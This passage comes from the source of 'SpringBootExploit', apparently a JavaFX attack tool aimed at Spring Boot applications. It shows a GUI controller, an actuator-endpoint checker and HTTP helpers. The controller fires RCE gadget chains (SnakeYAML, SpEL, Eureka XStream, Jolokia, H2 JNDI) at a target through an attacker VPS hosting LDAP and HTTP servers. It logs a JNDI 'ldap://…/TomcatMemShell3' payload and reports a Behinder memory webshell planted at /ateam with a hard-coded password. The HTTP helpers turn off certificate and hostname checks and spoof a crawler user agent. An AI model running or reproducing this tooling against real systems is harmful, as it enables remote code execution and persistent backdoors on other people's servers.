return res.containsKey("bean")||res.containsKey("scope")||res.containsKey("dependencies");
}
}catch (Exception e){
return false;
}
// configprops
}else if (url.contains("configprops")){
try {
Map res = (Map)JSON.parse(s);
return res.containsKey("configurationPropertiesReportEndpoint");
}catch (Exception e){
return false;
}
}else if (url.contains("mappings")){
return s.contains("bean")||s.contains("method");
}else if (url.contains("metrics")){
return s.contains("threads")||s.contains("heap");
}
return false;
}
}
SpringBootExploit-1.1/src/main/java/com/drops/poc/package-info.java 0000664 0000000 0000000 00000000055 14121252536 0025320 0 ustar 00root root 0000000 0000000 package com.drops.poc;
// 漏洞验证模块
SpringBootExploit-1.1/src/main/java/com/drops/ui/ 0000775 0000000 0000000 00000000000 14121252536 0021765 5 ustar 00root root 0000000 0000000 SpringBootExploit-1.1/src/main/java/com/drops/ui/MainController.java 0000664 0000000 0000000 00000034216 14121252536 0025566 0 ustar 00root root 0000000 0000000 package com.drops.ui;
import com.drops.entity.ControllersFactory;
import com.drops.main.AttackService;
import com.drops.poc.SpringBootInfo;
import com.drops.utils.*;
import javafx.beans.value.ChangeListener;
import javafx.beans.value.ObservableValue;
import javafx.collections.FXCollections;
import javafx.collections.ObservableList;
import javafx.event.ActionEvent;
import javafx.fxml.FXML;
import javafx.geometry.Insets;
import javafx.geometry.Pos;
import javafx.scene.control.*;
import javafx.scene.layout.GridPane;
import javafx.scene.layout.HBox;
import javafx.stage.Window;
import java.net.Authenticator;
import java.net.InetSocketAddress;
import java.net.PasswordAuthentication;
import java.net.Proxy;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
/**
* @ClassName: Gui
* @Description: TODO
* @Author: Summer
* @Date: 2021/7/20 16:50
* @Version: v1.0.0
* @Description:
**/
public class MainController {
@FXML
private MenuItem proxySetupBtn;
public static Map currentProxy = new HashMap();
// 设置 目标地址
@FXML
private TextField targetAddress;
// 设置超时
@FXML
private TextField httpTimeout;
@FXML
private TextField vps;
@FXML
private Button crackKeyBtn;
@FXML
private Button crackSpcKeyBtn;
@FXML
public ComboBox gadgetOpt;
@FXML
public ComboBox echoOpt ;
@FXML
private Button crackGadgetBtn;
@FXML
private Button crackSpcGadgetBtn;
@FXML
public TextArea logTextArea;
@FXML
private Label proxyStatusLabel;
@FXML
private TextField exCommandText;
@FXML
public TextArea execOutputArea;
@FXML
private Button executeCmdBtn;
@FXML
public ComboBox memShellOpt;
@FXML
private TextField shellPathText;
@FXML
private TextField shellPassText;
@FXML
private Button injectShellBtn;
@FXML
public TextArea InjOutputArea;
public static TextArea ip;
@FXML
public TextField hport;
@FXML
public TextField lport;
public static String hports;
public static String lports;
LDAPUtil ldapUtil = null;
public AttackService attackService = null;
@FXML
void initialize() {
this.initToolbar();
this.initComBoBox();
// this.initContext();
this.initConnect();
this.initAttack();
ControllersFactory.controllers.put(MainController.class.getSimpleName(), this);
}
public void initAttack() {
String targetAddressText = this.targetAddress.getText();
String httpTimeoutText = this.httpTimeout.getText();
boolean version = false;
this.attackService = new AttackService(targetAddressText, httpTimeoutText);
}
private void initConnect() {
// this.vps.setText("1.116.32.76");
this.vps.setText("127.0.0.1");
this.httpTimeout.setText("5");
this.targetAddress.setText("http://127.0.0.1:9095");
this.lport.setText("1389");
this.hport.setText("3456");
}
private void initComBoBox() {
ObservableList gadgets = FXCollections.observableArrayList(new String[]{ "SnakeYAMLRCE", "SpELRCE", "EurekaXstreamRCE", "JolokiaLogbackRCE", "JolokiaRealmRCE", "H2DatabaseConsoleJNDIRCE"});
this.gadgetOpt.setPromptText("SnakeYAMLRCE");
this.gadgetOpt.setValue("SnakeYAMLRCE");
this.gadgetOpt.setItems(gadgets);
// ObservableList echoes =FXCollections.observableArrayList(new String[]{"TomcatEcho","SpringEcho"});
// this.echoOpt.setPromptText("TomcatEcho");
// this.echoOpt.setValue("TomcatEcho");
// this.echoOpt.setItems(echoes);
// this.shellPassText.setText("cat666");
// this.shellPathText.setText("/catcat66");
// final ObservableList memShells = FXCollections.observableArrayList(new String[]{"哥斯拉[Filter]", "蚁剑[Filter]", "冰蝎[Filter]", "NeoreGeorg[Filter]", "reGeorg[Filter]", "哥斯拉[Servlet]", "蚁剑[Servlet]", "冰蝎[Servlet]", "NeoreGeorg[Servlet]", "reGeorg[Servlet]"});
// this.memShellOpt.setPromptText("冰蝎[Filter]");
// this.memShellOpt.setValue("冰蝎[Filter]");
// this.memShellOpt.setItems(memShells);
// this.memShellOpt.getSelectionModel().selectedIndexProperty().addListener(new ChangeListener() {
// @Override
// public void changed(ObservableValue observableValue, Number number, Number number2) {
// if (((String)memShells.get(number2.intValue())).contains("reGeorg")) {
// MainController.this.shellPassText.setDisable(true);
// } else {
// MainController.this.shellPassText.setDisable(false);
// }
//
// }
// });
}
private void initToolbar() {
this.proxySetupBtn.setOnAction((event) -> {
Alert inputDialog = new Alert(Alert.AlertType.NONE);
inputDialog.setResizable(true);
Window window = inputDialog.getDialogPane().getScene().getWindow();
window.setOnCloseRequest((e) -> {
window.hide();
});
ToggleGroup statusGroup = new ToggleGroup();
RadioButton enableRadio = new RadioButton("启用");
RadioButton disableRadio = new RadioButton("禁用");
enableRadio.setToggleGroup(statusGroup);
disableRadio.setToggleGroup(statusGroup);
HBox statusHbox = new HBox();
statusHbox.setSpacing(10.0D);
statusHbox.getChildren().add(enableRadio);
statusHbox.getChildren().add(disableRadio);
GridPane proxyGridPane = new GridPane();
proxyGridPane.setVgap(15.0D);
proxyGridPane.setPadding(new Insets(20.0D, 20.0D, 0.0D, 10.0D));
Label typeLabel = new Label("类型：");
ComboBox typeCombo = new ComboBox();
typeCombo.setItems(FXCollections.observableArrayList(new String[]{"HTTP", "SOCKS"}));
typeCombo.getSelectionModel().select(0);
Label IPLabel = new Label("IP地址：");
TextField IPText = new TextField();
Label PortLabel = new Label("端口：");
TextField PortText = new TextField();
Label userNameLabel = new Label("用户名：");
TextField userNameText = new TextField();
Label passwordLabel = new Label("密码：");
TextField passwordText = new TextField();
Button cancelBtn = new Button("取消");
Button saveBtn = new Button("保存");
saveBtn.setDefaultButton(true);
if (currentProxy.get("proxy") != null) {
Proxy currProxy = (Proxy)currentProxy.get("proxy");
String proxyInfo = currProxy.address().toString();
String[] info = proxyInfo.split(":");
String hisIpAddress = info[0].replace("/", "");
String hisPort = info[1];
IPText.setText(hisIpAddress);
PortText.setText(hisPort);
enableRadio.setSelected(true);
System.out.println(proxyInfo);
} else {
enableRadio.setSelected(false);
}
saveBtn.setOnAction((e) -> {
if (disableRadio.isSelected()) {
currentProxy.put("proxy", (Object)null);
// this.proxyStatusLabel.setText("");
inputDialog.getDialogPane().getScene().getWindow().hide();
} else {
String type;
String ipAddress;
if (!userNameText.getText().trim().equals("")) {
ipAddress = userNameText.getText().trim();
type = passwordText.getText();
String finalIpAddress = ipAddress;
String finalType = type;
Authenticator.setDefault(new Authenticator() {
@Override
public PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication(finalIpAddress, finalType.toCharArray());
}
});
} else {
Authenticator.setDefault((Authenticator)null);
}
currentProxy.put("username", userNameText.getText());
currentProxy.put("password", passwordText.getText());
ipAddress = IPText.getText();
String port = PortText.getText();
InetSocketAddress proxyAddr = new InetSocketAddress(ipAddress, Integer.parseInt(port));
type = ((String)typeCombo.getValue()).toString();
Proxy proxy;
if (type.equals("HTTP")) {
proxy = new Proxy(Proxy.Type.HTTP, proxyAddr);
currentProxy.put("proxy", proxy);
} else if (type.equals("SOCKS")) {
proxy = new Proxy(Proxy.Type.SOCKS, proxyAddr);
currentProxy.put("proxy", proxy);
}
// this.proxyStatusLabel.setText("代理生效中: " + ipAddress + ":" + port);
inputDialog.getDialogPane().getScene().getWindow().hide();
}
});
cancelBtn.setOnAction((e) -> {
inputDialog.getDialogPane().getScene().getWindow().hide();
});
proxyGridPane.add(statusHbox, 1, 0);
proxyGridPane.add(typeLabel, 0, 1);
proxyGridPane.add(typeCombo, 1, 1);
proxyGridPane.add(IPLabel, 0, 2);
proxyGridPane.add(IPText, 1, 2);
proxyGridPane.add(PortLabel, 0, 3);
proxyGridPane.add(PortText, 1, 3);
proxyGridPane.add(userNameLabel, 0, 4);
proxyGridPane.add(userNameText, 1, 4);
proxyGridPane.add(passwordLabel, 0, 5);
proxyGridPane.add(passwordText, 1, 5);
HBox buttonBox = new HBox();
buttonBox.setSpacing(20.0D);
buttonBox.setAlignment(Pos.CENTER);
buttonBox.getChildren().add(cancelBtn);
buttonBox.getChildren().add(saveBtn);
GridPane.setColumnSpan(buttonBox, 2);
proxyGridPane.add(buttonBox, 0, 6);
inputDialog.getDialogPane().setContent(proxyGridPane);
inputDialog.showAndWait();
});
}
public void crackSpcGadgetBtn(ActionEvent actionEvent) {
if (this.attackService == null) {
this.initAttack();
}
if (!this.vps.getText().equals("") && !this.targetAddress.getText().equals("")){
if (this.gadgetOpt.getValue().equalsIgnoreCase("spelrce")){
SpelUtils spel = new SpelUtils();
String poc = spel.SpelExpr(this.vps.getText());
String ssti = spel.SpelSsti(this.vps.getText());
this.logTextArea.appendText(Utils.log("Payload 食用方法示例：http://127.0.0.1:9091/article?id=Payload"));
this.logTextArea.appendText(Utils.log("ldap://" + this.vps.getText() + ":1389/basic/TomcatMemShell3"));
this.logTextArea.appendText(Utils.log(poc));
this.logTextArea.appendText(Utils.log(ssti));
}else {
boolean flag = this.attackService.gadgetSend(this.targetAddress.getText(),
this.vps.getText(),this.gadgetOpt.getValue(),this.getPorts());
if(flag){
if (HTTPUtils.getRequest(String.valueOf(this.targetAddress.getText()),"ateam").isOk()){
this.logTextArea.appendText(Utils.log(" 冰蝎内存马注入成功 !"));
this.logTextArea.appendText(Utils.log( " /ateam 密码：ateamnb"));
}else {
this.logTextArea.appendText(Utils.log("漏洞利用失败！\t"));
}
}else {
this.logTextArea.appendText(Utils.log("漏洞利用失败！\t"));
}
}
}
}
public void crackGadgetBtn(ActionEvent actionEvent) {
}
// 验证服务端是否配置成功
public boolean connect() {
try {
String vps = this.vps.getText();
if(!vps.isEmpty()){
// 判断http 服务是否生效
if(HTTPUtils.getRequest(vps + ":" + hport.getText() ,"isOK.txt").getStatus() == 200){
this.logTextArea.appendText(Utils.log("HTTP Server Is OK!"));
this.logTextArea.appendText(Utils.log("HTTP Server Is Working " + vps + " 的 3456 Port!"));
// 判断 ldap 服务是否生效
// if(ldapUtil.sendLDAPRequest(vps)){
// this.logTextArea.appendText(Utils.log("LDAP Server Is OK!"));
// this.logTextArea.appendText(Utils.log("LDAP Server Is Working " + vps + " 的 1389 Port!"));
// return true;
// }else {
// this.logTextArea.appendText(Utils.log("LDAP Server 绑定 1389 端口失败!"));
// this.logTextArea.appendText(Utils.log("请检查 " + vps + " 的 1389端口是否被占用！"));
// }
return true;
}else {
this.logTextArea.appendText(Utils.log("HTTP Server 绑定 3456 端口失败！"));
this.logTextArea.appendText(Utils.log("请检查 " + vps + "的3456端口是否被占用！"));
}
}
}catch (Exception e){
this.logTextArea.appendText(Utils.log(e.getMessage()));
}
return false;
}
public void check(ActionEvent actionEvent) {
try {
SpringBootInfo info = new SpringBootInfo();
info.doCheck(this.targetAddress.getText());
}catch (Exception e){
this.logTextArea.appendText(Utils.log(e.getMessage()));
}
}
public String[] getPorts(){
String[] result = new String[]{this.hport.getText(),this.lport.getText()};
return result;
}
}
SpringBootExploit-1.1/src/main/java/com/drops/utils/ 0000775 0000000 0000000 00000000000 14121252536 0022510 5 ustar 00root root 0000000 0000000 SpringBootExploit-1.1/src/main/java/com/drops/utils/Console.java 0000664 0000000 0000000 00000001236 14121252536 0024757 0 ustar 00root root 0000000 0000000 package com.drops.utils;
import javafx.application.Platform;
import javafx.scene.control.TextArea;
import java.io.OutputStream;
public class Console extends OutputStream {
private TextArea console;
byte[] tempbytes = new byte[1024];
public Console(TextArea console) {
this.console = console;
}
public void appendText(final String valueOf) {
Platform.runLater(new Runnable() {
@Override
public void run() {
Console.this.console.appendText(valueOf);
}
});
}
@Override
public void write(int b) {
this.appendText(String.valueOf((char)b));
}
}
SpringBootExploit-1.1/src/main/java/com/drops/utils/HTTPUtils.java 0000664 0000000 0000000 00000017203 14121252536 0025156 0 ustar 00root root 0000000 0000000 package com.drops.utils;
import cn.hutool.http.HttpGlobalConfig;
import cn.hutool.http.HttpRequest;
import cn.hutool.http.HttpResponse;
import com.drops.ui.MainController;
import sun.applet.Main;
import java.net.Proxy;
/**
* @ClassName: HTTPUtils
* @Description: TODO
* @Author: Summer
* @Date: 2021/7/28 9:39
* @Version: v1.0.0
* @Description:
**/
public class HTTPUtils {
private static final int Timeout = 5000;
public String DefalutEncoding = "UTF-8";
private String method = "get";
public HTTPUtils(){
// 设置全局timeout
HttpGlobalConfig.setTimeout(Timeout);
}
public HTTPUtils(int Timeout){
// 设置全局timeout
HttpGlobalConfig.setTimeout(Timeout);
}
public void setTimeout(int Timeout){
HttpGlobalConfig.setTimeout(Timeout);
}
/**
* @Description: 对Spring Boot 版本的Get请求处理
* @param target 目标
*
* @return:
*/
public static HttpResponse getRequest(String target){
String url = URLUtil.normalizeURL(target);
Proxy proxy = (Proxy) MainController.currentProxy.get("proxy");
HttpResponse result = null;
if (proxy == null){
result = HttpRequest.get(url).execute();
}else {
result = HttpRequest.get(url).setProxy(proxy).execute();
}
return result;
}
public static HttpResponse getRequest(String target, String point){
String url = URLUtil.normalizeURL(target) + point;
Proxy proxy = (Proxy) MainController.currentProxy.get("proxy");
HttpResponse result = null;
System.out.println(url);
if (proxy == null){
result = HttpRequest.get(url).execute();
}else {
result = HttpRequest.get(url).setProxy(proxy).execute();
}
return result;
}
/**
* @Description: 对Spring Boot 版本的Get请求处理并设置代理
* @param target 目标
*
* @return:
*/
public static HttpResponse getRequestProxy(String target){
Proxy proxy = (Proxy) MainController.currentProxy.get("proxy");
String url = URLUtil.normalizeURL(target);
HttpResponse result = HttpRequest.get(target)
.setProxy(proxy).execute();
return result;
}
/**
* @Description: 对Spring Boot V1 版本的Post请求处理
* @param target 目标
* @param Point 端点
*
* @return:
*/
public static HttpResponse postRequestV1(String target, String Point){
String url = URLUtil.normalizeURL(target) + Point;
Proxy proxy = (Proxy) MainController.currentProxy.get("proxy");
HttpResponse result = null;
if (proxy != null){
result = HttpRequest.post(url)
.header("Content-Type","application/x-www-form-urlencoded")
.setProxy(proxy).execute();
}else {
result = HttpRequest.post(url)
.header("Content-Type","application/x-www-form-urlencoded")
.execute();
}
return result;
}
public static HttpResponse postRequestV1(String target, String Point, String boby){
String url = URLUtil.normalizeURL(target) + Point;
Proxy proxy = (Proxy) MainController.currentProxy.get("proxy");
HttpResponse result = null;
if (proxy != null){
result = HttpRequest.post(url)
.header("Content-Type","application/x-www-form-urlencoded")
.body(boby)
.setProxy(proxy).execute();
}else {
result = HttpRequest.post(url)
.body(boby)
.header("Content-Type","application/x-www-form-urlencoded")
.execute();
}
return result;
}
public static HttpResponse postRequestV1Proxy(String target, String Point){
String url = URLUtil.normalizeURL(target) + Point;
Proxy proxy = (Proxy) MainController.currentProxy.get("proxy");
HttpResponse result = HttpRequest.post(url)
.header("Content-Type","application/x-www-form-urlencoded")
.setProxy(proxy).execute();
return result;
}
public static HttpResponse H2PostRequest(String target, String boby){
Proxy proxy = (Proxy) MainController.currentProxy.get("proxy");
HttpResponse result;
if (proxy != null){
result = HttpRequest.post(target)
.header("Content-Type", "application/x-www-form-urlencoded")
.header("Referer", target)
.body(boby)
.setProxy(proxy).execute();
}else {
result = HttpRequest.post(target)
.header("Content-Type", "application/x-www-form-urlencoded")
.header("Referer", target)
.body(boby)
.execute();
}
return result;
}
public static HttpResponse postRequestV1Proxy(String target, String Point, String boby){
String url = URLUtil.normalizeURL(target) + Point;
Proxy proxy = (Proxy) MainController.currentProxy.get("proxy");
HttpResponse result = HttpRequest.post(url)
.header("Content-Type","application/x-www-form-urlencoded")
.body(boby)
.setProxy(proxy).execute();
return result;
}
/**
* @Description: 对Spring Boot V2 版本的Post请求处理
* @param target 目标
* @param Point 端点
*
* @return:
*/
public static HttpResponse postRequestV2(String target, String Point){
String url = URLUtil.normalizeURL(target) + Point;
Proxy proxy = (Proxy) MainController.currentProxy.get("proxy");
HttpResponse result = null;
if (proxy != null){
result = HttpRequest.post(url)
.header("Content-Type","application/json")
.header("Cache-Control", "max-age=0")
.setProxy(proxy).execute();
}else {
result = HttpRequest.post(url)
.header("Cache-Control", "max-age=0")
.header("Content-Type","application/json")
.execute();
}
return result;
}
public static HttpResponse postRequestV2(String target, String Point, String boby){
String url = URLUtil.normalizeURL(target) + Point;
Proxy proxy = (Proxy) MainController.currentProxy.get("proxy");
HttpResponse result = null;
if (proxy != null){
result = HttpRequest.post(url)
.header("Content-Type","application/json")
.header("Cache-Control", "max-age=0")
.body(boby)
.setProxy(proxy).execute();
}else {
result = HttpRequest.post(url)
.header("Cache-Control", "max-age=0")
.header("Content-Type","application/json")
.body(boby)
.execute();
}
return result;
}
public static HttpResponse postRequestV2Proxy(String target, String Point){
String url = URLUtil.normalizeURL(target) + Point;
Proxy proxy = (Proxy) MainController.currentProxy.get("proxy");
HttpResponse result = HttpRequest.post(url)
.header("Content-Type","application/json")
.setProxy(proxy).execute();
return result;
}
public static void main(String[] args) {
String url = "https://www.baidu.com/";
HTTPUtils httpUtils = new HTTPUtils(6000);
System.out.println(getRequest(url).getStatus());
}
}
SpringBootExploit-1.1/src/main/java/com/drops/utils/HttpUtil.java 0000664 0000000 0000000 00000064505 14121252536 0025142 0 ustar 00root root 0000000 0000000 package com.drops.utils;
import com.drops.ui.MainController;
import javax.net.ssl.*;
import java.io.*;
import java.net.HttpURLConnection;
import java.net.Proxy;
import java.net.URL;
import java.net.URLConnection;
import java.security.SecureRandom;
import java.util.*;
public class HttpUtil {
private static final int Timeout = 5000;
private static final String DefalutEncoding = "UTF-8";
public static HostnameVerifier allHostsValid = new HostnameVerifier() {
@Override
public boolean verify(String hostname, SSLSession session) {
return true;
}
};
public HttpUtil() {
}
public static String httpRequest(String requestUrl, int timeOut, String requestMethod, String contentType, String postString, String encoding) throws Exception {
if ("".equals(encoding) || encoding == null) {
encoding = "UTF-8";
}
URLConnection httpUrlConn = null;
HttpsURLConnection hsc = null;
HttpURLConnection hc = null;
InputStream inputStream = null;
String var12;
try {
String result;
try {
URL url = new URL(requestUrl);
if (requestUrl.startsWith("https")) {
SSLContext sslContext = SSLContext.getInstance("SSL");
TrustManager[] tm = new TrustManager[]{new MyCert()};
sslContext.init((KeyManager[])null, tm, new SecureRandom());
SSLSocketFactory ssf = sslContext.getSocketFactory();
hsc = (HttpsURLConnection)url.openConnection();
hsc.setSSLSocketFactory(ssf);
hsc.setHostnameVerifier(allHostsValid);
httpUrlConn = hsc;
} else {
hc = (HttpURLConnection)url.openConnection();
hc.setRequestMethod(requestMethod);
hc.setInstanceFollowRedirects(false);
System.out.println(hc.getRequestProperties());
httpUrlConn = hc;
}
((URLConnection)httpUrlConn).setConnectTimeout(timeOut);
((URLConnection)httpUrlConn).setReadTimeout(timeOut);
if (contentType != null && !"".equals(contentType)) {
((URLConnection)httpUrlConn).setRequestProperty("Content-Type", contentType);
}
((URLConnection)httpUrlConn).setRequestProperty("User-Agent", "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)");
((URLConnection)httpUrlConn).setRequestProperty("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9");
((URLConnection)httpUrlConn).setRequestProperty("Accept-Encoding", "gzip, deflate");
((URLConnection)httpUrlConn).setRequestProperty("Accept-Language", "zh-CN,zh;q=0.9");
((URLConnection)httpUrlConn).setRequestProperty("Connection", "close");
((URLConnection)httpUrlConn).setDoOutput(true);
((URLConnection)httpUrlConn).setDoInput(true);
((URLConnection)httpUrlConn).connect();
if (null != postString && !"".equals(postString)) {
OutputStream outputStream = ((URLConnection)httpUrlConn).getOutputStream();
outputStream.write(postString.getBytes(encoding));
outputStream.flush();
outputStream.close();
}
inputStream = ((URLConnection)httpUrlConn).getInputStream();
result = readString(inputStream, encoding);
String var24 = result;
return var24;
} catch (IOException var19) {
System.out.println(var19);
if (hsc != null) {
result = readString(hsc.getErrorStream(), encoding);
return result;
}
} catch (Exception var20) {
System.out.println(var20);
throw var20;
}
if (hc != null) {
result = readString(hc.getErrorStream(), encoding);
var12 = result;
return var12;
}
result = "";
var12 = result;
} finally {
if (hsc != null) {
hsc.disconnect();
}
if (hc != null) {
hc.disconnect();
}
}
return var12;
}
public static String readString(InputStream inputStream, String encoding) throws IOException {
BufferedInputStream bis = null;
ByteArrayOutputStream baos = null;
try {
bis = new BufferedInputStream(inputStream);
baos = new ByteArrayOutputStream();
byte[] arr = new byte[1];
int len;
while((len = bis.read(arr)) != -1) {
baos.write(arr, 0, len);
}
} catch (IOException var9) {
} finally {
if (baos != null) {
baos.flush();
baos.close();
}
if (bis != null) {
bis.close();
}
if (inputStream != null) {
inputStream.close();
}
return baos.toString(encoding);
}
}
public static String httpRequestAddHeader(String requestUrl, int timeOut, String requestMethod, String contentType, String postString, String encoding, HashMap headers) throws Exception {
if ("".equals(encoding) || encoding == null) {
encoding = "UTF-8";
}
URLConnection httpUrlConn = null;
HttpsURLConnection hsc = null;
HttpURLConnection hc = null;
InputStream inputStream = null;
BufferedInputStream bis = null;
Object var12 = null;
String result;
try {
String key;
try {
URL url = new URL(requestUrl);
if (requestUrl.startsWith("https")) {
SSLContext sslContext = SSLContext.getInstance("SSL");
TrustManager[] tm = new TrustManager[]{new MyCert()};
sslContext.init((KeyManager[])null, tm, new SecureRandom());
SSLSocketFactory ssf = sslContext.getSocketFactory();
Proxy proxy = (Proxy) MainController.currentProxy.get("proxy");
if (proxy != null) {
hsc = (HttpsURLConnection)url.openConnection(proxy);
} else {
hsc = (HttpsURLConnection)url.openConnection();
}
hsc.setSSLSocketFactory(ssf);
hsc.setHostnameVerifier(allHostsValid);
httpUrlConn = hsc;
} else {
Proxy proxy = (Proxy) MainController.currentProxy.get("proxy");
if (proxy != null) {
hc = (HttpURLConnection)url.openConnection(proxy);
} else {
hc = (HttpURLConnection)url.openConnection();
}
hc.setRequestMethod(requestMethod);
hc.setInstanceFollowRedirects(false);
httpUrlConn = hc;
}
((URLConnection)httpUrlConn).setConnectTimeout(timeOut);
((URLConnection)httpUrlConn).setReadTimeout(timeOut);
if (contentType != null && !"".equals(contentType)) {
((URLConnection)httpUrlConn).setRequestProperty("Content-Type", contentType);
}
((URLConnection)httpUrlConn).setRequestProperty("User-Agent", "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)");
((URLConnection)httpUrlConn).setRequestProperty("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9");
((URLConnection)httpUrlConn).setRequestProperty("Accept-Encoding", "gzip, deflate");
((URLConnection)httpUrlConn).setRequestProperty("Accept-Language", "zh-CN,zh;q=0.9");
((URLConnection)httpUrlConn).setRequestProperty("Connection", "close");
if (headers != null) {
Iterator var28 = headers.keySet().iterator();
while(var28.hasNext()) {
key = (String)var28.next();
String val = (String)headers.get(key);
((URLConnection)httpUrlConn).addRequestProperty(key, val);
}
}
((URLConnection)httpUrlConn).setDoOutput(true);
((URLConnection)httpUrlConn).setDoInput(true);
((URLConnection)httpUrlConn).connect();
if (null != postString && !"".equals(postString)) {
OutputStream outputStream = ((URLConnection)httpUrlConn).getOutputStream();
outputStream.write(postString.getBytes(encoding));
outputStream.close();
}
inputStream = ((URLConnection)httpUrlConn).getInputStream();
result = readString(inputStream, encoding);
String var30 = result;
return var30;
} catch (IOException var23) {
System.out.println(var23);
if (hsc != null) {
System.out.println("1");
System.out.println(hsc.getErrorStream());
result = readString(hsc.getErrorStream(), encoding);
key = result;
return key;
}
if (hc != null) {
System.out.println("2");
System.out.println(hc.getErrorStream());
result = readString(hc.getErrorStream(), encoding);
key = result;
return key;
}
result = "";
} catch (Exception var24) {
System.out.println("3");
System.out.println(var24);
throw var24;
}
} finally {
if (hsc != null) {
hsc.disconnect();
}
if (hc != null) {
hc.disconnect();
}
}
return result;
}
public static int codeByHttpRequest(String requestUrl, int timeOut, String requestMethod, String contentType, String postString, String encoding) throws Exception {
if ("".equals(encoding) || encoding == null) {
encoding = "UTF-8";
}
URLConnection httpUrlConn = null;
HttpsURLConnection hsc = null;
HttpURLConnection hc = null;
InputStream inputStream = null;
InputStreamReader isr = null;
Object br = null;
byte var27;
try {
URL url = new URL(requestUrl);
if (requestUrl.startsWith("https")) {
SSLContext sslContext = SSLContext.getInstance("SSL");
TrustManager[] tm = new TrustManager[]{new MyCert()};
sslContext.init((KeyManager[])null, tm, new SecureRandom());
SSLSocketFactory ssf = sslContext.getSocketFactory();
hsc = (HttpsURLConnection)url.openConnection();
hsc.setSSLSocketFactory(ssf);
hsc.setHostnameVerifier(allHostsValid);
httpUrlConn = hsc;
} else {
hc = (HttpURLConnection)url.openConnection();
hc.setRequestMethod(requestMethod);
httpUrlConn = hc;
}
((URLConnection)httpUrlConn).setReadTimeout(timeOut);
if (contentType != null && !"".equals(contentType)) {
((URLConnection)httpUrlConn).setRequestProperty("Content-Type", contentType);
}
((URLConnection)httpUrlConn).setRequestProperty("User-Agent", "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)");
((URLConnection)httpUrlConn).setRequestProperty("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9");
((URLConnection)httpUrlConn).setRequestProperty("Accept-Encoding", "gzip, deflate");
((URLConnection)httpUrlConn).setRequestProperty("Accept-Language", "zh-CN,zh;q=0.9");
((URLConnection)httpUrlConn).setRequestProperty("Connection", "close");
((URLConnection)httpUrlConn).setDoOutput(true);
((URLConnection)httpUrlConn).setDoInput(true);
((URLConnection)httpUrlConn).setUseCaches(false);
((URLConnection)httpUrlConn).connect();
if (null != postString && !"".equals(postString)) {
OutputStream outputStream = ((URLConnection)httpUrlConn).getOutputStream();
outputStream.write(postString.getBytes(encoding));
outputStream.close();
}
int var24;
if (hsc != null) {
var24 = hsc.getResponseCode();
int var26 = var24;
return var26;
}
if (hc != null) {
var24 = hc.getResponseCode();
return var24;
}
byte var25 = 0;
var27 = var25;
} catch (IOException var21) {
throw var21;
} catch (Exception var22) {
throw var22;
} finally {
if (br != null) {
((BufferedReader)br).close();
}
if (isr != null) {
((InputStreamReader)isr).close();
}
if (inputStream != null) {
((InputStream)inputStream).close();
}
if (hsc != null) {
hsc.disconnect();
}
if (hc != null) {
hc.disconnect();
}
}
return var27;
}
public static String headerByHttpRequest(String requestUrl, int timeOut, String requestMethod, String contentType, String postString, String encoding, HashMap headers) throws Exception {
if ("".equals(encoding) || encoding == null) {
encoding = "UTF-8";
}
URLConnection httpUrlConn = null;
HttpsURLConnection hsc = null;
HttpURLConnection hc = null;
InputStream inputStream = null;
InputStreamReader isr = null;
Object br = null;
String respHeaderKey;
try {
URL url = new URL(requestUrl);
if (requestUrl.startsWith("https")) {
SSLContext sslContext = SSLContext.getInstance("SSL");
TrustManager[] tm = new TrustManager[]{new MyCert()};
sslContext.init((KeyManager[])null, tm, new SecureRandom());
SSLSocketFactory ssf = sslContext.getSocketFactory();
Proxy proxy = (Proxy) MainController.currentProxy.get("proxy");
if (proxy != null) {
hsc = (HttpsURLConnection)url.openConnection(proxy);
} else {
hsc = (HttpsURLConnection)url.openConnection();
}
hsc.setSSLSocketFactory(ssf);
hsc.setHostnameVerifier(allHostsValid);
httpUrlConn = hsc;
} else {
Proxy proxy = (Proxy) MainController.currentProxy.get("proxy");
if (proxy != null) {
hc = (HttpURLConnection)url.openConnection(proxy);
} else {
hc = (HttpURLConnection)url.openConnection();
}
hc.setRequestMethod(requestMethod);
httpUrlConn = hc;
}
((URLConnection)httpUrlConn).setReadTimeout(timeOut);
if (contentType != null && !"".equals(contentType)) {
((URLConnection)httpUrlConn).setRequestProperty("Content-Type", contentType);
}
((URLConnection)httpUrlConn).setRequestProperty("User-Agent", "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)");
((URLConnection)httpUrlConn).setRequestProperty("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9");
((URLConnection)httpUrlConn).setRequestProperty("Accept-Encoding", "gzip, deflate");
((URLConnection)httpUrlConn).setRequestProperty("Accept-Language", "zh-CN,zh;q=0.9");
((URLConnection)httpUrlConn).setRequestProperty("Connection", "close");
if (headers != null) {
Iterator var27 = headers.keySet().iterator();
while(var27.hasNext()) {
String key = (String)var27.next();
String val = (String)headers.get(key);
((URLConnection)httpUrlConn).addRequestProperty(key, val);
}
}
((URLConnection)httpUrlConn).setDoOutput(true);
((URLConnection)httpUrlConn).setDoInput(true);
((URLConnection)httpUrlConn).connect();
if (null != postString && !"".equals(postString)) {
OutputStream outputStream = ((URLConnection)httpUrlConn).getOutputStream();
outputStream.write(postString.getBytes(encoding));
outputStream.close();
}
StringBuilder responseHeaderString;
String var34;
Set respHeaderKeys;
Iterator iterator;
List arrayList;
Iterator var24;
String value;
Map responseheaders;
if (hsc != null) {
responseHeaderString = new StringBuilder();
responseheaders = hsc.getHeaderFields();
respHeaderKeys = responseheaders.keySet();
iterator = respHeaderKeys.iterator();
label297:
while(true) {
if (iterator.hasNext()) {
respHeaderKey = (String)iterator.next();
arrayList = (List)responseheaders.get(respHeaderKey);
var24 = arrayList.iterator();
while(true) {
if (!var24.hasNext()) {
continue label297;
}
value = (String)var24.next();
responseHeaderString.append(value);
}
}
